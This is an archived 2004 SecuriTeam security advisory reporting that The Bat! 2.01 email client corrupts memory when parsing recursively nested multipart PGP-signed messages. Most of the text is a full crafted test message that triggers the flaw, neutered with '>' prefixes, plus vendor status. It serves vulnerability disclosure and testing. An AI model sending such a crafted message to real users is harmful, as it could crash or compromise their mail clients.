

[NT] The Bat! Memory Corruption When Parsing Multipart PGP Signed Messages

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0066.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/20/04

To: list@securiteam.com

Date: 20 Jan 2004 11:20:27 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

The Bat! Memory Corruption When Parsing Multipart PGP Signed Messages

SUMMARY

<<http://www.ritlabs.com/en/products/thebat/>> The Bat! "is a powerful, highly configurable, yet easy to use email client. We've designed it especially to help you deal with your growing volume of email as quickly and efficiently as possible, saving much of your precious time".

The Bat! in its standard configuration incorrectly handles PGP signed messages of which the content type is "application/pgp-signature", with multiple parts embedded recursively.

DETAILS

Vulnerable Software:

- * The Bat! version 2.01

Immune Software:

- * The Bat! version 2.03 Beta
- * The Bat! versions 1.x

Although no debugging was made by 3APA3A, it seems that when you change

Securiteam: [NT] The Bat! Memory Corruption When Parsing Multipart PGP Signed Messages

the layouts of different parts of the message it causes The Bat! to read and write unallocated memory regions, which in turn might be used to execute arbitrary code. Since The Bat! has its own exception handler, the program does not crash.

Below is an example message that can help in testing for this vulnerability (An angle bracket '>' was prefixed in each line so that vulnerable email clients will not crash):

```
===== Below is the message =====
>From: "Test"
>To: "Test"
>Content-Type: multipart/signed; micalg=pgp-sha1;
protocol="application/pgp-signature"; boundary="--VOhSalJVh0ipN8GZDCj3"
>Organization:
>Mime-Version: 1.0
>Date: 31 Dec 2003 22:42:47 -0800
>
>
>-----VOhSalJVh0ipN8GZDCj3
>Content-Type: multipart/mixed; boundary="--HuumM/Y9Qpvq2SoxnAYs"
>
>
>-----HuumM/Y9Qpvq2SoxnAYs
>Content-Type: multipart/alternative; boundary="--rxC2ED57bE++pIpgCxGK"
>
>
>-----rxC2ED57bE++pIpgCxGK
>Content-Type: text/plain
>Content-Transfer-Encoding: quoted-printable
>
>Hello administrator.
>
>---=20
>Test
>
>-----rxC2ED57bE++pIpgCxGK
>Content-Type: text/html; charset=utf-8
>Content-Transfer-Encoding: quoted-printable
>
>-- <BR>
>Test
>
>-----rxC2ED57bE++pIpgCxGK--
>
>-----HuumM/Y9Qpvq2SoxnAYs
>Content-Disposition: inline
>Content-Type: message/rfc822
>
>Date: Sat, 27 Dec 2003 10:18:57 -0800 (PST)
>From: Test
```

Securiteam: [NT] The Bat! Memory Corruption When Parsing Multipart PGP Signed Messages

>Subject: Test2
>To: Test
>MIME-Version: 1.0
>Content-Type: multipart/report; report-type=delivery-status;
boundary="38853510C39.1072549137/test"
>Message-Id: <20031227181857.E5FA4510D0D@test>
>
>
>--38853510C39.1072549137/test
>Content-Description: Notification
>Content-Type: text/plain
>Content-Transfer-Encoding: quoted-printable
>
>Test
>
>--38853510C39.1072549137/test
>Content-Description: Delivery error report
>Content-Type: message/delivery-status
>Content-Transfer-Encoding: quoted-printable
>
>Reporting-MTA: dns; test
>Arrival-Date: Sat, 27 Dec 2003 10:18:53 -0800 (PST)
>
>Test
>
>-----HuumM/Y9Qpvq2SoxnAYs-----
>
>-----VOhSalJVh0ipN8GZDCj3-----
>Content-Type: application/pgp-signature; name=signature.asc
>Content-Description: This is a digitally signed message part
>
>-----BEGIN PGP SIGNATURE-----
>Version: Test
>
>iD8DBQA/88Fngiv4IW690g8RAvSKAKCG8RPRPwYvvROWkJiXg9mJDTONGgCgnhZ8
>odAA1J0h/6h0OyiyY7PEt9Y=
>=e5k6
>-----END PGP SIGNATURE-----
>
>-----VOhSalJVh0ipN8GZDCj3-----
>
>
===== Below is the message =====

Vendor Status:

<<http://www.ritlabs.com>> RitLabs were informed of the issue and were unable to reproduce the bug with version 2.03 Beta and claim that version 2.02CE is probably immune as well.

ADDITIONAL INFORMATION

Securiteam: [NT] The Bat! Memory Corruption When Parsing Multipart PGP Signed Messages

The information has been provided by <mailto:3APA3A@SECURITY.NNOV.RU>
3APA3A

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.